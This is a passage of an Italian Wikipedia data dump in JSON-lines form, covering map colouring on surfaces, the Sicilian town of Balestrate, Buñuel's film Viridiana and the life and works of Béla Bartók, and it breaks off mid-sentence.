colorazione su una superficie piuttosto che su un piano. Il problema applicato alla sfera \u00e8 equivalente a quello sul piano. Per le superfici chiuse (orientate come il toro o non orientate come il nastro di M\u00f6bius) di genere positivo, il massimo numero di colori necessari dipende dalla caratteristica di Eulero formula_1 della superficie, in accordo con la formula:\ndove le parentesi formula_3 indicano la funzione parte intera. Per esempio, il toro ha caratteristica di Eulero formula_4 e formula_5: saranno pertanto necessari al massimo sette colori per colorare qualsiasi mappa su una superficie toroidale.\nLa sola eccezione alla formula \u00e8 la bottiglia di Klein, la quale ha caratteristica di Eulero uguale a 0 e richiede sei colori.\nCarte geografiche alle quali il teorema non \u00e8 applicabile.\nIl teorema si applica a mappe suddivise in regioni connesse e reciprocamente indipendenti. Nelle carte geografiche politiche esistono stati il cui territorio, anche escludendo le isole, \u00e8 costituito da un insieme di regioni non connesse: ne sono esempi l'Alaska come parte degli Stati Uniti e l'exclave di Kaliningrad, appartenente alla Russia ma completamente circondata dalla Polonia e dalla Lituania. In casi simili, imponendo la condizione che tutto il territorio di uno Stato debba necessariamente essere dello stesso colore, si modificano le premesse alla base del teorema e quattro colori potrebbero non essere sufficienti.\nConcettualmente, un vincolo di questo tipo genererebbe una mappa non planare. Consideriamo ad esempio una mappa semplificata:\nIn questa mappa, le due regioni indicate con formula_6 fanno parte dello stesso stato e devono avere la stessa colorazione. Questa mappa necessita di cinque colori, dal momento che le due regioni formula_6 sono complessivamente contigue a quattro altre regioni, ciascuna delle quali \u00e8 adiacente a tutte le altre.\nSe formula_6 consistesse di tre regioni, potrebbero essere necessari sei o pi\u00f9 colori; sfruttando regioni non connesse \u00e8 pertanto possibile costruire mappe che richiedono un numero arbitrariamente elevato di colori."}
{"id": "26429", "revid": "533647", "url": "https://it.wikipedia.org/wiki?curid=26429", "title": "Balestrate", "text": "Balestrate (\"Sicciara\" in ) \u00e8 un comune italiano di abitanti della citt\u00e0 metropolitana di Palermo in Sicilia.\nFa parte dei comuni che si affacciano sul golfo di Castellammare.\nGeografia fisica.\nTerritorio.\n\u00c8 situata al centro del golfo di Castellammare, al confine con la provincia di Trapani, nella valle del fiume Cataldo, ai piedi del monte Ferricini.\nSi trova in vicinanza dei comuni di Trappeto, Partinico e Alcamo, in posizione equidistante (circa ) dai capoluoghi Palermo e Trapani.\nClima.\nIl clima a Balestrate \u00e8 caldo e temperato, con inverni pi\u00f9 piovosi rispetto al periodo estivo.\nLa temperatura media annuale \u00e8 di , essendo agosto il mese con temperature pi\u00f9 alte () e gennaio il mese con temperature pi\u00f9 basse ().\nLa piovosit\u00e0 media annuale \u00e8 di . In particolare le piogge sono pi\u00f9 scarse nel mese di luglio e pi\u00f9 abbondanti nei mesi di ottobre, novembre e dicembre.\nStoria.\nAnche se nel suo territorio sono presenti i resti di una tomba (th\u00f2los) di una probabile necropoli greca, la fondazione di Balestrate come centro abitato, nel sito attuale, risale al periodo in cui in Sicilia dominano i bizantini, che attorno ad un torrione (denominato nei documenti \"Calatacupuni\"), inserito tra le torri di difesa del territorio del Golfo di Castellammare, vanno costruendo un piccolo borgo marinaro. Nel periodo arabo, nel IX secolo, il piccolo borgo si espande. Gli arabi, trasformano la parecchiata bizantina e costruiscono un sistema di irrigazioni, la \"s\u00ecqayah\" (che i siciliani chiamano \"Secchiaria\"), attraverso il quale irrigano gli orti e la canna da zucchero.\nIl paesaggio marino e della costa si presentava con immense dune di sabbia che circondavano i tre promontori su cui il borgo si andava espandendo. Ai piedi dei promontori i caricatori rendevano il commercio florido, che spesso veniva esercitato contrabbandando le merci per aggirare l'imposizione dei dazi e delle esose tasse messe dai governatori dell'Isola. Esteso per circa 10\u00a0km verso sud, un grande bosco costituito prevalentemente da querce proteggeva il piccolo borgo marinaro e offriva la possibilit\u00e0 di esercitare la pastorizia oltre a ricavare legna e tanti altri materiali. Le case di quel tempo erano delle capanne costruite con la legna e le canne, che abbondano nei luoghi.\nNell'alto e basso medioevo, oltre alla torre di difesa e il caricatore, altro luogo importante \u00e8 la foce del fiume Iato (Batis), segnato in tutte le carte nautiche fin dal periodo greco, perch\u00e9 offriva la possibilit\u00e0 alle flotte di navi militari di rifornirsi in breve tempo di acqua potabile.\n\"Calatacupuni\" rimane un caricatore marittimo attivo anche durante il periodo arabo-normanno poi a partire dal 1290 fino al 1400, durante le guerre tra angioini ed aragonesi, cade in decadenza e anche il borgo si spopola. Gli abitanti si rifugiano nel vicino bosco che \u00e8 luogo inaccessibile alle scorribande militari, che al loro passaggio tutto distruggono. Rimangono solo \"Calatacupuni\" e la \"Secchiaria\" (che pi\u00f9 avanti nel tempo diventer\u00e0 \"Sicciara)\" come toponimi per indicare i luoghi del borgo marinaro.\nSuperato il periodo normanno, bisogna aspettare il 1307 per trovare una nuova denominazione dei territori \"\"le balestrate\u2019'\", precisamente nel decreto di istituzione dell'Abbazia di Altofonte, Privilegio voluto dal re Federico II d'Aragona, con il quale assegna ai cistercensi (ordine cistercense) anche la foresta di Partinico, riservando per se le terre demarcate per \"Jactum Balistae\u201d.\"\nNel 1456 la denominazione Balestrate venne usata in senso stretto da Alfonso il Magnanimo in un documento che attesta la donazione del territorio tra i torrenti San Cataldo e Calatubo al camerlengo Nicol\u00f2 de Leofante, anche se nei documenti notarili si fa riferimento ai due nomi con cui si chiamava in quel tempo il borgo: \"Sicciara seu Calatacupuni. Dei toponimi di \"Sicchiaria\" o \"Secchiaria\", che gli spagnoli pronunciano senza la \"h\", e di \u201cCalatacuponi\", rimangono tracce nelle carte nautiche o nei documenti notarili del XVII secolo.\"\nNel 1517 fu autorizzata da Carlo V a favore di Giacomo Fardella principe di Trapani la costruzione della tonnara. Ma la tonnara di \"S\u00eccchiara\" prese avvio nel 1599 dopo che Fardella e Bologna risolsero un lungo contenzioso per poi rimanere attiva per meno di due secoli. (Di questa costruzione rimane un cippo di pietra, collocato nell'attuale Belvedere della Croce, come testimonianza del passato di Balestrate. Questo cippo di pietra, assieme ad altri, veniva utilizzato, quando non esisteva ancora un porto, per le operazioni di ancoraggio dei piroscafi che caricavano il vino prodotto nel territorio di Balestrate.)\nOltre a rendere produttivi i territori per ottenere pi\u00f9 ricavi con le tasse, attraverso le enfiteusi e le concessioni demaniali, nel XVI secolo il Senato palermitano \u00e8 impegnato ad assicurare alla Capitale dell'Isola e ai centri costieri ad essa vicini, un sistema di guardia a difesa del litorale. Dell'antico torrione di \"Calatacupone\" si occupano due ingegneri spagnoli che pensano di riattivarlo. Tanto Spannocchi nel 1578 che Camilliani nel 1583, propongono di costruire una nuova torre. Ma sar\u00e0 la tonnara a diventare motivo dell'espansione ulteriore dell\u2019abitato.\nNel 1678 Giacomo Santoro ricostruisce la fattoria leofantina (nei pressi dell'attuale piazzetta Sant\u2019Anna, oggi San Pietro) per fornire una dimora ai contadini che lavoravano nelle terre vicine.\nA fine seicento venne costruita la chiesetta di Sant\u2019Anna (1681), che venne riconosciuta dal Vescovo Pap\u00e9 nel 1744, divenne parrocchia nel 1800. Nel settecento la Sicciara rientra sotto la giurisdizione del vescovo di Mazara del Vallo. In loco la produzione agricola si incrementa e nasce l\u2019interesse negli inglesi a commerciare i prodotti vitivinicoli delle terre delle Balestrate. Si vengono ad erigere le prime case fatte con le pietre della tonnara e della torre.\nIl 29 marzo 1820, per volere del re Ferdinando di Borbone, fu istituito il comune di Balestrate, che comprendeva le borgate di Sicciara e Trappeto. Nello stemma del comune vi sono i richiami ai nomi \"\"Balestrate\" e \"Sicciara\" (al suo interno una seppia e una balestra. \u00c8 molto probabile che, nel settecento, i nuovi abitanti dei luoghi abbiano associato il nome \"S\u00edcchiaria\"\" al presenza abbondante nel litorale di seppie di cui sono per\u00f2 pescosi tutti i litorali della Sicilia.\nNel periodo che va dal 1835 al 1840, nel territorio di Balestrate sorsero stabilimenti enologici dei Woodhouse, degli Ingham e dei Florio, che sono classificati come edifici di archeologia industriale. In particolare venivano prodotte uve a bacca rossa denominate \"perricone\", il cui mosto veniva trasportato in botti di legno fino alla citt\u00e0 di Marsala, per la produzione dell'omonimo vino Marsala.\nNel 1860 Giuseppe Garibaldi pernott\u00f2 a Balestrate nella casa del sindaco di quel tempo, dove \u00e8 visibile una lapide commemorativa dell'evento.\nA partire dal 1881 divent\u00f2 operativa una linea ferroviaria che passa attraverso il territorio di Balestrate, crocevia di un intenso scambio commerciale del vino prodotto dai balestratesi. Balestrate si espande fino ad arrivare ad una popolazione di anime.\nDurante il ventesimo secolo Balestrate continua ad espandersi ma \u00e8 a partire dal 1970 che subisce, con una violenza inaudita, l\u2019abuso edilizio da parte di tutta la comunit\u00e0 e di coloro che a Balestrate vogliono villeggiare in estate. Il fenomeno dell\u2019abuso edilizio cambia tutte le previsioni urbanistiche. Nel 1994, il comune avvia l'iter per l'approvazione di una Piano regolatore ma ancora oggi questo strumento non \u00e8 stato approvato. Nel 2002 \u00e8 stato ultimato un porto allo scopo di rilanciare il settore turistico della zona.\nMonumenti e luoghi d'interesse.\nArchitetture civili.\nTra il XVIII e XIX secolo furono costruiti a Balestrate molti palazzi e dimore di particolare interesse storico e artistico, appartenuti alle famiglie Barretta, Bommarito, Chimenti, Clemente, Evola-Velez, Farina-Viviano, Finazzo, Garofalo, Giordano, Petruso, Morici, Rizzo, Rocca, Taormina, Tuzzo e Valenti.\nA questi si aggiungono diversi edifici industriali storici, tra cui:\nSono inoltre da ricordare le scuole elementari \"Principe di Napoli\", della prima met\u00e0 del XX secolo.\nArchitetture religiose.\nLe architetture religiose a Balestrate comprendono:\nArchitetture militari.\nNel territorio di Balestrate sono presenti i ruderi di un antico castello, chiamato castello di Calatacupuni, che fu edificato probabilmente dai bizantini. di cui rimangono tracce nelle carte fino al 1781\nEsisteva inoltre una torre di guardia (detta \"torre della Sicciara\"), i cui ruderi probabilmente erano visibili fino al 1920.\nAree naturali.\nLa maggiore attrazione di Balestrate \u00e8 il suo mare smeraldo e la sua spiaggia dorata, che si affaccia sul Golfo di Castellammare, gradita ai visitatori per le sue acque, chiare, basse e calde, ideali per le famiglie. include al suo interno la cosiddetta \"spiaggia dei pescatori\", di particolare interesse geologico per la presenza di una falesia con fossili di \"Pecten\". Nel litorale ovest vi sono diverse baie e cale. Partendo dal porto verso ovest: la cala di Sicciara detta anche dello scalo vecchio, baia delle Grotte, la Cala del Drago prospiciente la foce del torrente Lupo; la cala dei Petrazzi, la baia dei Fenici in prossimit\u00e0 della foce del torrente Calatubo e Baia Gaia a confine con Alcamo Marina. Nel litorale est vi si trovano andando dal porto verso est: cala Paliscarmi; baia dello Iato detta anche baia foce. La cala del Porto invece \u00e8 l\u2019antica cala del Capone (che deriva probabilmente da punta Calatacupuni che era ubicata dove oggi insiste villa Europa).\nInoltre in prossimit\u00e0 della spiaggia, in direzione Alcamo Marina, sorge un sito di interesse comunitario costituito da pi\u00f9 di 50 ettari di boscaglia pini marini, eucaliptus e tamerici.\nSociet\u00e0.\nTradizioni e folclore.\nLe festivit\u00e0 religiose che si svolgono a Balestrate includono:\nEconomia.\nL'economia del territorio di Balestrate di fonda principalmente sulla produzione e lavorazione enologica e sulle attivit\u00e0 cerealicole, alle quali si aggiungono altre attivit\u00e0 di agricoltura (in particolare coltivazione di ulivi e agrumi), pesca e turismo.\nInfrastrutture e trasporti.\nBalestrate \u00e8 collegata alla SS 187, all'autostrada A29 Palermo-Mazara del Vallo e alla linea ferroviaria Palermo-Trapani.\nAmministrazione.\nDi seguito \u00e8 presentata una tabella relativa alle amministrazioni che si sono succedute in questo comune."}
{"id": "26435", "revid": "767487", "url": "https://it.wikipedia.org/wiki?curid=26435", "title": "Viridiana", "text": "Viridiana \u00e8 un film del 1961 diretto da Luis Bu\u00f1uel, vincitore della Palma d'oro come miglior film al 14\u00ba Festival di Cannes, \"ex aequo\" con il film \"L'inverno ti far\u00e0 tornare\" di Henri Colpi.\nTrama.\nIl film \u00e8 incentrato su Viridiana, una giovane novizia in procinto di prendere i voti, mandata dalla Madre superiora a visitare suo zio Don Jaime, ultimo parente rimastole e che le aveva pagato gli studi. Dopo qualche giorno nella sua villa in campagna, Don Jaime, convinto che la giovane assomigli alla moglie morta anni prima, tenta di sedurla. Viridiana tenta di fuggire ma Jaime la costringe a rimanere con l'aiuto della serva Ramona, che le somministra un narcotico. Jaime prende in considerazione l'idea di violentarla nel sonno, ma poi decide altrimenti.\nIl mattino seguente comunica per\u00f2 a Viridiana di averla violentata, utilizzando l'argomentazione della verginit\u00e0 perduta per convincerla a rimanere. Don Jaime ottiene per\u00f2 la reazione opposta e Viridiana, disgustata, abbandona la tenuta diretta al convento. Poco dopo, le autorit\u00e0 la fermano per comunicarle che lo zio si \u00e8 impiccato.\nViridiana decide quindi di trasferirsi nella villa appena ereditata, raccoglie alcuni poveri del villaggio pi\u00f9 vicino e li fa sistemare in un edificio nella tenuta. Rifiutandosi di tornare al convento, la giovane decide di dedicarsi totalmente all'educazione morale e religiosa dell'assortito gruppo di senza tetto. Nel frattempo anche il figlio di Don Jaime, Jorge, si trasferisce nella villa con la sua fidanzata, Lucia. Come il padre, Jorge tenta di sedurre Viridiana, che lo rifiuta con decisione.\nQuando Viridiana e Jorge si assentano dalla villa per recarsi da un notaio, i poveri decidono di entrare, inizialmente solo per dare un'occhiata. Di fronte al lusso alto-borghese dell'edificio e alle abbondanti provviste alimentari, la situazione degenera velocemente in un'orgia di cibo, sesso e alcool. Durante l'orgia, accompagnata musicalmente dal Messiah di H\u00e4ndel, i mendicanti si ritraggono seduti al tavolo, in una composizione molto simile all'ultima cena di Leonardo da Vinci.\nI proprietari della villa tornano prima del previsto e rimangono scioccati di fronte al caos che regna indisturbato. Mentre alcuni mendicanti si scusano frettolosamente e abbandonano la villa, Jorge viene aggredito da un mendicante che tenta di accoltellarlo, mentre un altro gli rompe una bottiglia sulla testa, facendogli perdere i sensi. I due tentano di violentare Viridiana, ma Jorge, riacquistati i sensi, riesce a convincere uno dei due aggressori a uccidere l'altro, salvando la giovane.\nNella conclusione, la figlia di Ramona brucia la corona di spine che Viridiana portava nel bagaglio, poi Viridiana si scioglie i capelli, e bussa alla porta della camera da letto di Jorge. Sulle note del brano pop \"Shimmy doll\" riprodotto dal grammofono, Jorge dice a Viridiana che stava solo giocando a carte con Ramona e la invita a unirsi a loro."}
{"id": "26440", "revid": "539155", "url": "https://it.wikipedia.org/wiki?curid=26440", "title": "B\u00e9la Bart\u00f3k", "text": "Studioso della musica popolare dell'Europa orientale e del Medio Oriente, fu uno dei pionieri dell'etnomusicologia.\nBiografia.\nInfanzia e giovinezza.\nB\u00e9la Bart\u00f3k nacque a Nagyszentmikl\u00f3s, nella regione ungherese del Banato (oggi S\u00e2nnicolau Mare, in Romania).\nIl padre, anch'egli di nome B\u00e9la, era direttore di una Scuola di agricoltura ed era un musicista dilettante; la madre era un'insegnante di pianoforte. Dopo la morte di suo padre (1888), Bart\u00f3k si trasfer\u00ec con la madre dapprima a Nagysz\u0151l\u0151s (oggi Vynohradiv, in Ucraina) e, successivamente, a Pozsony (oggi Bratislava, capitale della Slovacchia).\nGli inizi della carriera musicale.\nVenne educato alla musica sin dall'et\u00e0 di cinque anni, dapprima dalla madre che gli insegn\u00f2 i rudimenti del pianoforte; a otto anni inizi\u00f2 i primi tentativi di composizione di piccoli pezzi. In seguito, a soli dodici anni, divenne allievo di L. Erkel che lo inizi\u00f2 alla composizione. Nel 1897 scrisse la sua prima sonata per pianoforte. Dopo aver conseguito il diploma liceale si iscrisse all'Accademia Reale di Musica di Budapest; qui studi\u00f2 pianoforte con Istv\u00e1n Thom\u00e1n, che era stato alunno di Franz Liszt, e composizione con J\u00e1nos Koessler. Conobbe in quel periodo la musica tedesca, soprattutto Richard Wagner e Johannes Brahms; la scoperta della musica di Debussy fu per lui di fondamentale importanza per la sua evoluzione di compositore. In quegli anni incontr\u00f2 Zolt\u00e1n Kod\u00e1ly di cui divenne amico e con cui successivamente raccolse molta musica popolare dalla regione. Questo ebbe molta influenza sul suo stile; precedentemente, l'idea che Bart\u00f3k aveva della musica popolare ungherese derivava dalle melodie ascoltate nei lavori di Liszt. Nel 1903 Bart\u00f3k scrisse un grande lavoro orchestrale, il poema sinfonico \"Kossuth\", in onore di Lajos Kossuth, eroe della rivoluzione ungherese del 1848, contenente melodie in quello stile e da cui lavor\u00f2 per estrarre una marcia funebre pianistica che lo rese celebre come pianista-concertista-compositore per lo stile \"nazional-ungherese\" , capeggiato da Paderewsky, Busoni, d'Albert e dall'ungherese Ern\u0151 Dohn\u00e1nyi.\nInfluenze sulla musica di Bart\u00f3k.\nDopo aver scoperto le musiche contadine dei magiari, che erano le autentiche musiche popolari ungheresi, Bart\u00f3k cominci\u00f2 a includere canzoni popolari nelle proprie composizioni e a scrivere temi originali con caratteristiche simili, oltre ad usare frequentemente figure ritmiche di matrice folklorica.\nLa musica di Richard Strauss, che incontr\u00f2 alla prima di \"Also sprach Zarathustra\" a Budapest nel 1902, lo influenz\u00f2 molto (trascrisse ed esegu\u00ec pi\u00f9 volte a memoria il poema sinfonico \"Vita d'Eroe\"). Questo nuovo stile emerse durante gli anni seguenti. Bart\u00f3k stava costruendo la sua carriera pianistica, quando nel 1907 ottenne il posto di professore di pianoforte all'Accademia Reale. Questo gli permise di rimanere in Ungheria e di non girare l'Europa come pianista e gli lasci\u00f2 pi\u00f9 tempo per raccogliere altre canzoni popolari, soprattutto in Transilvania. Intanto la sua musica cominciava ad essere influenzata da composizioni di Claude Debussy che Kod\u00e1ly aveva portato da Parigi. I suoi lavori orchestrali erano ancora scritti alla maniera di Johannes Brahms o Richard Strauss, ma scrisse numerose composizioni brevi per pianoforte che mostrano il suo crescente interesse per la musica tradizionale. Probabilmente il primo brano che mostrava chiaramente i suoi nuovi interessi \u00e8 il \"Quartetto per archi n. 1\" (1908), che contiene vari rimandi alla musica folklorica.\nNel 1908 scrisse le 14 bagatelle per pianoforte, in cui cominci\u00f2 a delineare il suo stile che appunto parte dal pianoforte, distaccandosi dal romanticismo, basandosi su procedimenti armonici basati su intervalli diminuiti ed eccedenti, sulla bitonalit\u00e0 e su una marcata percussivit\u00e0, elemento che si ritrova anche in Prokof'ev e Stravinskij.\nAltre composizioni pianistiche importanti in Bart\u00f3k sono la Rapsodia Op.1 e i Quattro pezzi per pianoforte, ricchi di influenze Brahmsiane, pi\u00f9 altri lavori da camera quali la Sonata per violino e pianoforte e il Quintetto per pianoforte ed archi.\nLa carriera concertistica di Bart\u00f3k non riusc\u00ec per\u00f2 mai a ricevere onorificenze, nemmeno in campo esclusivamente compositivo. \nCome pianista-compositore al contrario di altri come Rachmaninov (che aveva composto in quegli anni il Secondo concerto per pianoforte e orchestra), Dohn\u00e1nyi che ebbe fortuna col suo Concerto per pianoforte e orchestra, o lo svedese Stenhammar. Questo scarso successo internazionale lo costrinse ad accontentarsi di un posto come insegnante di pianoforte all'Accademia Musicale di Budapest.\nLe prime influenze popolari nelle sue composizioni cominciarono quando inizi\u00f2 a raccogliere melodie popolari con Zolt\u00e1n Kod\u00e1ly: nel 1907 compose le \"Tre canzoni popolari del distretto di Cs\u00edk\", due semplici melodie ascoltate da un pastore che suonava un flauto. Qui si dimostra la tenacia di Bart\u00f3k che nonostante gli insuccessi continua a cercare un connubio tra la musica popolare e le sale da concerto nello stile pianistico, cominciando con le Due Elegie Op.8b, influenzate dallo stile pianistico delle Elegie di Busoni, e con le Quattro Nenie Op.9 che risentono invece dello stile di Debussy, che troviamo anche nelle Burlesche Op.8c. Le Nenie sono basate sul canto popolare ungherese che fa delle scale modali, non presenti nella musica occidentale, armonizzate in maniera quasi impressionistica. Lo stile di Bart\u00f3k cominci\u00f2 a uscire dalle influenze di Busoni e Debussy con le Due danze rumene Op.8a per pianoforte, in cui lo stile divenne decisamente percussivo e d'avanguardia, anche se non riusc\u00ec a trovare il modo di proporre i suoi lavori come recital pianistico, se non negli anni Venti, sfruttando anche l'ingigantimento delle capacit\u00e0 tecnico-stilistiche e timbriche del pianoforte che gi\u00e0 presso Paderewsky e Rachmaninov avevano raggiunto livelli ragguardevoli. \nBart\u00f3k focalizz\u00f2 sulla percussivit\u00e0 l'Allegro Barbaro del 1911, parallelamente alla Toccata Op.11 di Prokof'ev e alla Danza Rituale del Fuoco di Manuel de Falla in cui il pianista rende l'effetto percussivo anche con la gestualit\u00e0.\nGli anni centrali.\nNel 1909 Bart\u00f3k spos\u00f2 M\u00e1rta Ziegler. Il loro figlio, anch'egli di nome B\u00e9la, nacque nel 1910.\nL'avvicinamento alla musica popolare di Bart\u00f3k (su esempio di Franz Liszt) \u00e8 stato compiuto in maniera scientifica, influenzando in maniera metodica il suo stile, ricco di richiami alla musica popolare di molti popoli dell'area europea orientale e medio-orientale (uso di scale pentatonica e modale) ma contemporaneamente aggiornato anche sulle innovazioni ritmiche e armoniche portate dai contemporanei come Igor' F\u00ebdorovi\u010d Stravinskij.\nNel 1911, Bart\u00f3k scrisse quella che sarebbe stata la sua unica opera, \"Il castello di Barbabl\u00f9\", dedicata a sua moglie, M\u00e1rta, ancora ricca di influenze stilistiche derivanti da Strauss e Debussy. Con questa composizione partecip\u00f2 a un concorso indetto dalla Commissione Ungherese per le Belle Arti, ma questi dissero che era insuonabile, e la respinsero. L'opera rimase ineseguita fino al 1918, quando il governo fece pressione su Bart\u00f3k perch\u00e9 togliesse il nome del librettista, B\u00e9la Bal\u00e1zs, dal programma a causa delle sue convinzioni politiche. Bart\u00f3k si rifiut\u00f2, e alla fine ritir\u00f2 il lavoro. Per il resto della sua vita, Bart\u00f3k non si sent\u00ec molto legato al governo o alle istituzioni ungheresi, pur continuando la sua passione per la musica popolare.\nDi questo periodo sono anche i Due ritratti Op.5 (1907-08) e i Due quadri Op.10 (1910) per orchestra, l'Allegro barbaro (1911) per pianoforte (che ebbe molto successo per le sue timbriche appunto barbariche e per la sua melodia semplice), prima geniale sintesi del suo stile, la Suite per pianoforte Op.14 (1916), le due Sonate per violino e pianoforte (1921 e 1923) scritte per Jelly d\u2019Ar\u00e1nyi e le Sei danze popolari rumene per orchestra. I lavori di questo periodo sono caratterizzati da un'energia ritmica basata sull'ossessione percussiva e una ricerca timbrica molto fine immersa in un'armonia ai limiti dell'atonalit\u00e0 in cui l'influenza popolare viene immessa attraverso rielaborazione e reinvenzione.\nLe Melodie di Canzoni natalizie rumene sono dello stesso periodo delle Danze popolari rumene (1915) che raggiunsero abbastanza successo da essere pubblicate dalla Universal di Vienna nel 1918. Tuttavia le Danze rumene non sono pensate come brani da concerto come la Suite Op.14, in cui Bart\u00f3k dichiara di voler superare lo stile accordale tardoromantico a favore di una strumentazione \"fatta di ossa e muscoli\", trasparente e semplice come quella dell'Allegro barbaro, ma alleggerita dall'assenza dei raddoppi. Questa suite viene collegata da molti critici alla Sonata No.2 Op.14 di Prokofiev (1912), alla \"Sonatina ad usum infantis\" di Busoni (1916) e a \"Le tombeau de Couperin\" di Ravel (1914-17) e rappresenta quel percorso di distacco dal tardoromanticismo che trover\u00e0 le sue propaggini nella Sonata Op.1 di Berg (1908) e dai Tre pezzi Op.11 di Sch\u00f6nberg del 1909.\nUn altro aspetto che colpisce di questa suite \u00e8 la drammaturgia nei contrasti tra i movimenti, legabile al conflitto bellico, che trova prodromi gi\u00e0 nella Sesta sinfonia di \u010cajkovskij e nella Grande Sonata Op.33 di Alkan. Nell'ultimo movimento (Sostenuto) vengono usate le quarte giuste con finalit\u00e0 ritmico-timbriche. La simbologia bartokiana \u00e8 di difficile interpretazione, comunque si ritiene che la presenza di un valzer sia riferita a Vienna. La armonizzazione delle melodie popolari presenti nella Suite \u00e8 ingegnosa e si basa sulla presenza palese del tritono ottenuto dividendo l'ottava in due parti uguali per armonizzare in maniera del tutto nuova, al contrario della maniera ottocentesca. Nel primo movimento vengono accostati accordi di Si bemolle maggiore e Mi maggiore e l'accordo di settima di dominante \u00e8 costruito con la settima maggiore anzi che minore.\nQuesta suite \u00e8 interessante per capire le posizioni di Bart\u00f3k nell'ambito formale: all'inizio al secondo posto doveva esserci un Andante in Fa diesis maggiore che avrebbe reso la suite simmetrica ma Bart\u00f3k lo elimina. Tuttavia vengono rispettate le forme dei tempi secondo la tradizione occidentale (primo tempo in forma tripartita, secondo in rond\u00f2, terzo tripartito e quarto monotematico con intermezzo). Per quanto riguarda la ritmica abbiamo un'accelerazione del tempo nei primi tre movimenti e una brusca caduta nel quarto.\nDopo il disappunto causato dal premio della Commissione per le Belle Arti, Bart\u00f3k scrisse molto poco per due o tre anni, preferendo concentrarsi sulla raccolta e l'arrangiamento di musica tradizionale (in Europa Centrale, i Balcani e la Turchia). Comunque, lo scoppio della prima guerra mondiale lo costrinse ad interrompere queste spedizioni, e ritorn\u00f2 a comporre, scrivendo il balletto \"Il principe di legno\" (1914-1916) e il \"Quartetto per archi n. 2\" nel 1915-17. Fu \"Il principe di legno\" a dargli un certo grado di fama internazionale. Bart\u00f3k successivamente lavor\u00f2 a un'altra composizione, la pantomima \"Il mandarino meraviglioso\", con uno stile pi\u00f9 moderno de \"Il castello di Barbabl\u00f9\", influenzata in particolare dalla musica di Igor' Stravinskij e dal primo Arnold Sch\u00f6nberg.\n\"Il mandarino meraviglioso\" fu iniziato nel 1918, ma non fu eseguito fino al 1926 a causa dell'argomento trattato: una storia che parla di prostituzione, furto e omicidio con un rapporto molto violento tra i due sessi. L'introduzione di personaggi fiabeschi nel teatro musicale fu invece un punto che trov\u00f2 come sostenitore Ferruccio Busoni. Bart\u00f3k divorzi\u00f2 da M\u00e1rta nel 1923, e spos\u00f2 una studentessa di pianoforte, Ditta P\u00e1sztory. Il suo secondogenito, P\u00e9ter, nacque nel 1924.\nNel 1918 port\u00f2 a termine anche i Tre studi per pianoforte in cui pi\u00f9 che il virtuosismo emergono le idee creative e bizzarre.\nSono vicini all'atmosfera dei Tre pezzi op.11 di Sch\u00f6nberg ma anche alla forma di trittico-sonata che troviamo in Debussy (Images, Estampes) e in Ravel (Gaspard de la Nuit). Nel primo studio si trovano accenti in controtempo che anticipano leggermente gli Studi per pianoforte di Gy\u00f6rgy Ligeti, specialmente il primo del Libro I.\nNel 1920 scrisse su commissione della Revue musicale di Parigi le Serre improvvisazioni su canti di contadini ungheresi (Op.20). Gli venne commissionato un solo pezzo (che fu poi la settima improvvisazione) da pubblicare in un supplemento chiamato \"Tombeau de Debussy\", a cui contribuirono anche De Falla, Stravinsky, G.F. Malipiero, Dukas e altri.\nLa seconda guerra mondiale e gli ultimi anni di vita.\nNegli anni venti intraprende una serie di tourn\u00e9e concertistiche per l'Europa che gli procurarono simpatie ma pochi compensi; furono quindi accettati nei recital solo i brani pi\u00f9 brevi (quindi non la Suite n\u00e9 la Rapsodia) come pezzi di carattere alla Grieg.\nNel 1926 ricomincia a scrivere alcune composizioni, dopo un periodo infecondo di qualche anno: abbiamo cos\u00ec i Quartetti per archi nn. 3 e 4 (1927 e 1928), in particolare il terzo quartetto \u00e8 ricordato per essere stato scritto contemporaneamente al terzo quartetto di Sch\u00f6nberg a cui \u00e8 legato per l'evasione tematica, mentre la ritmica \u00e8 pi\u00f9 vicina a Stravinskij, e troviamo in esso anche un embrione della micropolifonia di Gy\u00f6rgy Ligeti chiamato da alcuni micromelodia, le due Rapsodie per violino e pianoforte o orchestra (1928), la Cantata profana (1930), lavoro vocale con trama fantastica su una fiaba rumena, il primo e il monumentale secondo concerto per pianoforte e orchestra (1926 e 1930-31), la Sonata per pianoforte del '26, legata ancora alle composizioni giovanili ma con una struttura decisamente Beethoveniana anche se manca una contrapposizione dialettica tra i temi. Bart\u00f3k definisce la tonalit\u00e0 di Mi maggiore, anche se essa rappresenta solo una tonica polarizzante all'ascolto (in origine nell'ultimo movimento c'era un tema Moderato che \u00e8 stato poi rimosso per il suo contrastante aspetto barocco e messo come \"Musette\" della suite \"All'aria aperta\").\nVerso gli anni trenta Bart\u00f3k abbandona la composizione pianistica da concerto per dedicarsi a brani didattici e per dilettanti, soprattutto grazie alla composizione dei 153 brani che compongono i 6 libri del Mikrokosmos, iniziato nel 1926, in cui il compositore parte da brani semplicissimi fino ad arrivare a notevoli virtuosismi, delineando in maniera progressiva e crescente il suo stile (contemporanei al Mikrokosmos sono i 9 Piccoli pezzi per pianoforte). L'interesse nel pedagogico di Bart\u00f3k \u00e8 stato molto presente ed \u00e8 testimoniato dai numerosi pezzi infantili su melodie popolari che sono stati scritti nel corso della vita.\nNegli anni trenta nasce invece una serie di composizioni pi\u00f9 mature e soprattutto pi\u00f9 equilibrate (definite da alcuni come il periodo neoclassico di Bart\u00f3k in quanto si riscontrano ascendenze Beethoveniane): \"Quartetto per archi n\u00ba5\" (1934), \"Musica per archi, percussioni e celesta\" (1936) e la \"Sonata per due pianoforti e percussioni\" (1937, di cui esiste anche la forma in concerto con orchestra), composizioni particolarmente legate dal tono lamentoso e macabro degli adagi \"notturni\" in contrasto con la vivacit\u00e0 ritmica dei momenti pi\u00f9 veloci in cui il pianoforte esprime il massimo grado di percussivit\u00e0 che possiamo trovare in Bart\u00f3k, specialmente nella sonata, con i timpani che anticipano i pianoforti con una scansione ritmica tribale (i pianoforti si scambiano spesso in passaggi imitativi e nell'ultimo movimento c'\u00e8 anche la presenza dell\"'hoquetus\"; poi abbiamo ancora i Contrasti per violino, clarinetto e pianoforte (1938, dedicati al clarinettista jazz Benny Goodman), il Concerto per violino e orchestra (1938) e il Divertimento per archi (1939), pi\u00f9 il Quartetto per archi n\u00ba6 (1939), i 44 Duetti per due violini (1931) e la difficile Sonata per violino solo (1944, composta gi\u00e0 negli Stati Uniti per Yehudi Menuhin) in cui Bart\u00f3k porta a compimento i propositi stilistici avviati in questi anni.\nNel 1940, dopo lo scoppio della seconda guerra mondiale, e con il peggioramento della situazione politica in Europa, Bart\u00f3k si convinse che doveva andarsene dall'Ungheria. Bart\u00f3k si oppose 